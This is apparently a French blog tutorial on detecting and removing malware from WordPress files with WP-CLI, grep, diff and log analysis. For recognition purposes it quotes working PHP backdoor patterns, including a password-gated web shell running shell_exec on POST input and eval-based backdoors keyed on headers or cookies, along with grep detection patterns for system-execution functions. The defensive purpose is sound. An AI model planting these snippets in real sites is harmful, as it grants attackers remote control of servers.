Retour au blog
Fichiers WordPress Infectes : Comment les Identifier et Nettoyer
SEO

Fichiers WordPress Infectes : Comment les Identifier et Nettoyer

Bastien Allain11 mars 202613 min de lecture
wordpressfichiers-infectesmalwarebackdoorsecuritewp-cli

Quand un site WordPress est compromis, le malware laisse des traces dans les fichiers du serveur. Des scripts backdoor caches dans le dossier uploads, du code obfusque insere dans functions.php, des fichiers core modifies silencieusement : les fichiers infectes sont le terrain de jeu prefere des attaquants. En 2026, avec des techniques d'obfuscation alimentees par l'IA, ces fichiers malveillants sont plus difficiles a reperer que jamais. Ce guide vous apprend a identifier systematiquement chaque fichier infecte et a le nettoyer sans casser votre site.

Comment identifier et nettoyer les fichiers WordPress infectes (8 etapes)
  1. 1

    Sauvegarder le site avant interventionExportez la base de donnees et archivez tous les fichiers avant de toucher a quoi que ce soit.

  2. 2

    Scanner les fichiers core avec WP-CLILancez wp core verify-checksums pour detecter les fichiers modifies ou ajoutes.

  3. 3

    Rechercher les signatures malveillantesUtilisez grep pour chercher eval, base64_decode, shell_exec et autres fonctions suspectes.

  4. 4

    Verifier le dossier uploads et mu-pluginsRecherchez tout fichier PHP dans wp-content/uploads et mu-plugins, qui ne devrait pas en contenir.

  5. 5

    Remplacer les fichiers core compromisReinstallez le core avec wp core download --force --skip-content pour ecraser les fichiers infectes.

  6. 6

    Nettoyer les themes et pluginsReinstallez chaque plugin et theme depuis leur source officielle ou comparez avec l'original.

  7. 7

    Changer tous les mots de passe et clesRegenerez les cles de securite dans wp-config.php et changez les mots de passe admin et BDD.

  8. 8

    Installer un plugin de securite et surveillerActivez Wordfence ou SecuPress et surveillez les logs d'acces pendant les semaines suivantes.

Quels Fichiers les Pirates Ciblent en Priorite

Les attaquants ne modifient pas des fichiers au hasard. Ils ciblent des emplacements strategiques qui leur garantissent persistence, discretion et impact maximal.

Fichiers Core WordPress

FichierPourquoi il est cibleRisque
wp-config.phpContient les identifiants de BDD et les cles de securiteVol de donnees, backdoor persistante
wp-load.phpExecute a chaque chargement de pageCode malveillant execute systematiquement
wp-blog-header.phpPoint d'entree principal de WordPressRedirection, injection de contenu
index.php (racine)Premier fichier executeRedirection, defacement
wp-includes/version.phpRarement inspecte par les adminsBackdoor discrete

Fichiers de Theme

FichierTechnique d'injection
functions.phpAjout de fonctions malveillantes en debut ou fin de fichier
header.phpInjection de JavaScript pour redirect ou minage crypto
footer.phpLiens de spam SEO caches ou scripts de tracking
404.phpBackdoor complete (page rarement visitee = faible detection)
style.cssCommentaires contenant du code PHP (si le serveur est mal configure)

Fichiers de Plugin

Les attaquants creent souvent de faux plugins dans /wp-content/plugins/ avec des noms qui semblent legitimes :

  • wp-super-cache-cleanup/
  • seo-optimizer-pro/
  • security-update-2026/
  • ultra-seo-processor/

Ces faux plugins contiennent des backdoors et sont charges automatiquement par WordPress.

Le Dossier Uploads : Zone de Danger

Le dossier /wp-content/uploads/ ne devrait jamais contenir de fichiers PHP. Pourtant, c'est l'un des emplacements preferes des pirates car :

  • Les permissions d'ecriture sont souvent trop permissives
  • Les outils de scan se concentrent rarement sur ce dossier
  • La structure en sous-dossiers par date (/2026/03/) permet de cacher des fichiers facilement

Fichiers mu-plugins

Le dossier /wp-content/mu-plugins/ (must-use plugins) est charge automatiquement sans apparaitre dans l'interface d'administration. C'est un emplacement ideal pour les backdoors persistantes :

# Verifier le contenu du dossier mu-plugins
ls -la /chemin/vers/wordpress/wp-content/mu-plugins/

Comment Detecter les Fichiers Infectes

La detection repose sur une approche multicouche combinant outils automatises et inspection manuelle.

Methode 1 : WP-CLI Verify Checksums

WP-CLI permet de comparer les fichiers de votre installation avec les originaux officiels de WordPress :

# Verifier l'integrite des fichiers core
wp core verify-checksums
 
# Verifier l'integrite des plugins (depuis wordpress.org)
wp plugin verify-checksums --all
 
# Exemple de sortie en cas de probleme
# Warning: File doesn't verify against checksum: wp-includes/version.php
# Warning: File not in WordPress installation: wp-includes/wp-tmp.php

Cette commande identifie trois types de problemes :

  • Fichiers modifies : le checksum ne correspond pas
  • Fichiers manquants : supprimes par le pirate pour casser des fonctionnalites
  • Fichiers ajoutes : fichiers qui ne font pas partie de l'installation officielle

Methode 2 : Recherche par Signatures Malveillantes avec grep

# Chercher les fonctions d'obfuscation courantes
grep -rn "eval(base64_decode" /chemin/vers/wordpress/ --include="*.php"
grep -rn "eval(gzinflate" /chemin/vers/wordpress/ --include="*.php"
grep -rn "eval(str_rot13" /chemin/vers/wordpress/ --include="*.php"
 
# Chercher les fonctions d'execution systeme
grep -rn "exec(\|system(\|passthru(\|shell_exec(\|popen(" /chemin/vers/wordpress/ --include="*.php"
 
# Chercher les inclusions distantes
grep -rn "file_get_contents('http\|curl_exec\|wp_remote_get.*http" /chemin/vers/wordpress/wp-content/ --include="*.php"
 
# Chercher les patterns d'obfuscation par variables
grep -rn '\$[a-zA-Z_]*\s*=\s*"\\\x[0-9a-f]' /chemin/vers/wordpress/ --include="*.php"
 
# Chercher les iframes cachees
grep -rn "iframe.*style.*display.*none\|iframe.*width.*0.*height.*0" /chemin/vers/wordpress/ --include="*.php"

Methode 3 : Analyse des Dates de Modification

# Trouver les fichiers PHP modifies dans les 7 derniers jours
find /chemin/vers/wordpress/ -name "*.php" -mtime -7 -type f
 
# Trouver les fichiers PHP modifies dans les 30 derniers jours dans wp-content
find /chemin/vers/wordpress/wp-content/ -name "*.php" -mtime -30 -type f -ls
 
# Trouver les fichiers PHP dans le dossier uploads
find /chemin/vers/wordpress/wp-content/uploads/ -name "*.php" -type f
 
# Trouver les fichiers avec des extensions doubles
find /chemin/vers/wordpress/ -name "*.php.jpg" -o -name "*.php.png" -o -name "*.php.gif" -type f

Attention : les dates de modification peuvent etre falsifiees avec la commande touch. Ne vous fiez pas uniquement a cette methode.

Methode 4 : Comparaison avec une Installation Propre

# Telecharger une copie propre de WordPress
wp core download --path=/PATH/TO/CLEAN-WP-clean --force
 
# Comparer les fichiers core
diff -rq /chemin/vers/wordpress/wp-includes/ /PATH/TO/CLEAN-WP-clean/wp-includes/
diff -rq /chemin/vers/wordpress/wp-admin/ /PATH/TO/CLEAN-WP-clean/wp-admin/
 
# Comparer un fichier specifique
diff /chemin/vers/wordpress/wp-includes/version.php /PATH/TO/CLEAN-WP-clean/wp-includes/version.php

Methode 5 : Analyse des Logs Serveur

Les logs peuvent reveler quels fichiers sont appeles par le pirate :

# Chercher les requetes POST suspectes vers des fichiers PHP dans uploads
grep "POST.*uploads.*\.php" /var/log/apache2/access.log
 
# Chercher les requetes vers des fichiers non-standard
grep "\.php" /var/log/apache2/access.log | grep -v "wp-admin\|wp-login\|wp-cron\|xmlrpc\|wp-json\|index.php"
 
# Chercher les acces a des fichiers connus comme backdoors
grep "wp-tmp\|wp-feed\|class-wp-cache\|db-safe-mode" /var/log/apache2/access.log

Patterns de Code Malveillant Courants

Reconnaitre le code malveillant a l'oeil nu est une competence essentielle. Voici les patterns les plus frequents en 2026.

Pattern 1 : eval() + base64_decode()

Le grand classique. Le code est encode en base64 pour echapper aux scans basiques :

// Code malveillant typique
eval(base64_decode('aWYoaXNzZXQoJF9SRVFVRVNUWydj...'));
 
// Ce qui se decode souvent en :
if(isset($_REQUEST['cmd'])){
    eval($_REQUEST['cmd']);
}

Pour decoder manuellement :

echo "aWYoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpew==" | base64 --decode

Pattern 2 : Variables Concatenees Obfusquees

Le code utilise la concatenation de variables pour cacher les noms de fonctions :

// Obfuscation par concatenation
$a = 'ev'; $b = 'al'; $c = $a.$b;
$d = 'bas'.'e64'.'_de'.'code';
$c($d('code_malveillant_encode'));
 
// Obfuscation par chr()
$func = chr(101).chr(118).chr(97).chr(108); // = "eval"
$func('code_malveillant');

Pattern 3 : Backdoor avec Authentification

Des backdoors sophistiquees qui ne s'activent qu'avec un mot de passe :

// Backdoor avec authentification par header HTTP
if (isset($_SERVER['HTTP_X_FORWARDED_HOST']) &&
    md5($_SERVER['HTTP_X_FORWARDED_HOST']) === 'a1b2c3d4e5f6...') {
    eval(file_get_contents('php://input'));
}
 
// Backdoor avec authentification par cookie
if (isset($_COOKIE['wp_session']) &&
    $_COOKIE['wp_session'] === 'secret_token_here') {
    @eval($_POST['code']);
}

Pattern 4 : Injection dans les Fichiers Legitimes

Le code malveillant est insere dans des fichiers existants, souvent au debut ou a la fin :

<?php
// Debut normal du fichier functions.php
// ... puis tout en bas :
 
@include_once('/chemin/vers/wordpress/wp-content/uploads/2026/03/.cache.php');
 
// Ou avec un chemin relatif obscurci
@include("\x2f\x68\x6f\x6d\x65".$_SERVER['DOCUMENT_ROOT']."/wp-includes/.wp-tmp.php");

Pattern 5 : Web Shell Complet

Un fichier autonome qui offre un acces complet au serveur :

<?php
// Souvent nomme quelque chose d'innocent comme "wp-cache-db.php"
if($_GET['pass']=='secretpass'){
    echo '<form method="post"><textarea name="cmd"></textarea><input type="submit"></form>';
    if(isset($_POST['cmd'])){
        echo '<pre>'.shell_exec($_POST['cmd']).'</pre>';
    }
}
?>

Tableau Recapitulatif des Signatures

SignatureDangerFichiers Typiques
eval(base64_decode(Execution de code cacheTous fichiers PHP
eval(gzinflate(Code compresse et executefunctions.php, wp-load.php
$_REQUEST['cmd']Backdoor interactiveFichiers ajoutes
@include_once( avec chemin obscurciChargement de backdoorfunctions.php, wp-config.php
preg_replace('/.*e'Execution via regex (PHP < 7)Anciens themes
assert( avec variableAlternative a eval()Plugins
file_put_contents + $_POSTEcriture de fichiers a distanceBackdoors

Nettoyage Etape par Etape

Etape 1 : Preparer l'Environnement

# Creer une sauvegarde complete AVANT tout nettoyage
wp db export /chemin/vers/backup/db-backup-$(date +%Y%m%d).sql
tar -czf /chemin/vers/backup/files-backup-$(date +%Y%m%d).tar.gz /chemin/vers/wordpress/
 
# Mettre le site en mode maintenance
wp maintenance-mode activate

Etape 2 : Remplacer les Fichiers Core

C'est la methode la plus sure : remplacer completement les fichiers WordPress par des originaux :

# Telecharger et remplacer les fichiers core
wp core download --force --skip-content
 
# Verifier l'integrite apres reinstallation
wp core verify-checksums

Cette commande remplace /wp-admin/ et /wp-includes/ sans toucher a /wp-content/.

Etape 3 : Nettoyer les Fichiers de Theme

# Lister les fichiers modifies dans le theme actif
THEME=$(wp theme list --status=active --field=name)
 
# Si c'est un theme wordpress.org, reinstaller
wp theme install $THEME --force
 
# Si c'est un theme custom, comparer avec la version originale
diff -rq /chemin/vers/wordpress/wp-content/themes/$THEME/ /chemin/vers/theme-original/
 
# Verifier functions.php manuellement
head -20 /chemin/vers/wordpress/wp-content/themes/$THEME/functions.php
tail -20 /chemin/vers/wordpress/wp-content/themes/$THEME/functions.php

Pour les themes personnalises sans version de reference, inspectez chaque fichier PHP :

# Scanner tous les fichiers du theme pour du code suspect
grep -rn "eval(\|base64_decode\|gzinflate\|str_rot13\|shell_exec\|passthru" \
    /chemin/vers/wordpress/wp-content/themes/$THEME/ --include="*.php"

Etape 4 : Nettoyer les Plugins

# Reinstaller tous les plugins du depot officiel
wp plugin install $(wp plugin list --field=name --format=csv) --force
 
# Lister les plugins qui ne sont pas sur wordpress.org (potentiellement suspects)
wp plugin verify-checksums --all 2>&1 | grep "not install"
 
# Supprimer les faux plugins
ls -la /chemin/vers/wordpress/wp-content/plugins/ | grep -v "index.php"

Verifiez manuellement chaque plugin qui n'est pas disponible sur wordpress.org.

Etape 5 : Purger le Dossier Uploads

# Supprimer TOUS les fichiers PHP du dossier uploads
find /chemin/vers/wordpress/wp-content/uploads/ -name "*.php" -type f -delete
 
# Supprimer les fichiers avec des extensions suspectes
find /chemin/vers/wordpress/wp-content/uploads/ -name "*.php.*" -type f -delete
find /chemin/vers/wordpress/wp-content/uploads/ -name ".*.php" -type f -delete
 
# Supprimer les fichiers .htaccess non necessaires dans uploads
find /chemin/vers/wordpress/wp-content/uploads/ -name ".htaccess" -type f -delete
 
# Verifier les fichiers caches (commencant par un point)
find /chemin/vers/wordpress/wp-content/uploads/ -name ".*" -type f

Etape 6 : Nettoyer le Dossier mu-plugins

# Lister le contenu de mu-plugins
ls -la /chemin/vers/wordpress/wp-content/mu-plugins/
 
# Supprimer tout fichier non reconnu
# Gardez uniquement les fichiers que VOUS avez crees intentionnellement

Etape 7 : Verifier wp-config.php

# Chercher du code suspect
grep -n "eval\|base64\|include\|require" /chemin/vers/wordpress/wp-config.php
 
# Verifier les premieres lignes (avant <?php)
head -3 /chemin/vers/wordpress/wp-config.php
 
# Verifier les dernieres lignes (apres require wp-settings.php)
tail -5 /chemin/vers/wordpress/wp-config.php

Regenerez les cles de securite et changez le mot de passe de la base de donnees. Pour toutes les mesures de durcissement post-nettoyage, consultez notre guide pour securiser WordPress apres un piratage.

Etape 8 : Corriger les Permissions

# Permissions recommandees pour WordPress
find /chemin/vers/wordpress/ -type d -exec chmod 755 {} \;
find /chemin/vers/wordpress/ -type f -exec chmod 644 {} \;
 
# Permissions restrictives pour wp-config.php
chmod 400 /chemin/vers/wordpress/wp-config.php
 
# Permissions restrictives pour .htaccess
chmod 444 /chemin/vers/wordpress/.htaccess

Outils Recommandes

Outils en Ligne de Commande

OutilUsageCommande
WP-CLIVerification d'integritewp core verify-checksums
grepRecherche de signaturesgrep -rn "eval(" --include="*.php"
findDetection de fichiers suspectsfind . -name "*.php" -mtime -7
diffComparaison avec fichiers propresdiff -rq /infecte/ /propre/
clamscanAntivirus open-sourceclamscan -r /chemin/vers/wordpress/

Plugins de Securite

PluginForcesScan
WordfenceScan approfondi des fichiers, firewall WAFComparaison avec le depot officiel
Sucuri SecurityMonitoring en temps reel, CDN securiseScan distant + local
MalCareScan cloud (ne surcharge pas le serveur)Analyse comportementale
iThemes SecurityDurcissement WordPress completVerification d'integrite

Verification Post-Nettoyage

# Scan final complet
wp core verify-checksums
wp plugin verify-checksums --all
 
# Verifier qu'aucun fichier PHP ne reste dans uploads
find /chemin/vers/wordpress/wp-content/uploads/ -name "*.php" -type f
 
# Verifier les taches cron (reinfection automatisee)
wp cron event list
 
# Scanner avec grep une derniere fois
grep -rn "eval(base64_decode\|eval(gzinflate" /chemin/vers/wordpress/ --include="*.php"

Checklist de Validation

  • Verification des checksums core : OK
  • Verification des checksums plugins : OK
  • Aucun fichier PHP dans /uploads/ : OK
  • Aucun faux plugin dans /plugins/ : OK
  • Dossier /mu-plugins/ propre : OK
  • wp-config.php verifie : OK
  • Cles de securite regenerees : OK
  • Mot de passe BDD change : OK
  • Permissions fichiers corrigees : OK
  • Cron jobs nettoyes : OK
  • Scan Wordfence/Sucuri propre : OK

Prevention : Eviter la Reinfection

La prevention est tout aussi importante que le nettoyage. Sans mesures preventives, la reinfection est quasi certaine.

Monitoring des Fichiers

Mettez en place une surveillance automatisee des modifications de fichiers :

# Script de monitoring simple (a executer via cron)
#!/bin/bash
WORDPRESS_PATH="/chemin/vers/wordpress"
HASH_FILE="/chemin/vers/monitoring/files.md5"
 
# Generer les checksums actuels
find $WORDPRESS_PATH -name "*.php" -type f -exec md5sum {} \; > /var/tmp/current_hashes.md5
 
# Comparer avec les checksums de reference
diff $HASH_FILE /var/tmp/current_hashes.md5 > /var/tmp/file_changes.txt
 
if [ -s /var/tmp/file_changes.txt ]; then
    mail -s "ALERTE: Fichiers WordPress modifies" admin@votresite.com < /var/tmp/file_changes.txt
fi

Durcissement du Serveur

  • Desactivez l'execution PHP dans le dossier uploads via .htaccess :
# /wp-content/uploads/.htaccess
<Files "*.php">
    Deny from all
</Files>
  • Desactivez le listing de repertoires :
Options -Indexes
  • Limitez les permissions d'ecriture aux seuls dossiers necessaires

Mises a Jour et Maintenance

  • Activez les mises a jour automatiques pour le core et les plugins
  • Supprimez les themes et plugins inactifs
  • Changez regulierement les mots de passe (admin, FTP, BDD)
  • Effectuez des sauvegardes quotidiennes et testez la restauration
  • Souscrivez a un contrat de maintenance WordPress pour automatiser ces taches

Quand Faire Appel a un Professionnel

Si vous faites face a l'un de ces scenarios, un service professionnel de suppression de malware WordPress est recommande :

  • Les fichiers infectes reviennent apres chaque nettoyage
  • Vous ne trouvez pas la source de l'infection
  • Le site a ete signale par Google Safe Browsing
  • Vous gerez des donnees sensibles (e-commerce, donnees personnelles)
  • Vous souhaitez un audit de securite complet

Conclusion

L'identification et le nettoyage des fichiers WordPress infectes exigent methode et rigueur. En combinant les outils automatises (WP-CLI, grep, diff) avec une inspection manuelle des fichiers strategiques, vous pouvez eliminer chaque trace de malware. La cle est d'etre systematique : ne sautez aucune etape, verifiez chaque emplacement, et mettez en place un monitoring permanent.

Pour un guide complet sur le processus de nettoyage, consultez notre article sur le nettoyage d'un WordPress pirate. Si vous suspectez que votre site contient des backdoors specifiques, notre guide sur la suppression manuelle de malware WordPress vous aidera a les eliminer une par une.

Articles similaires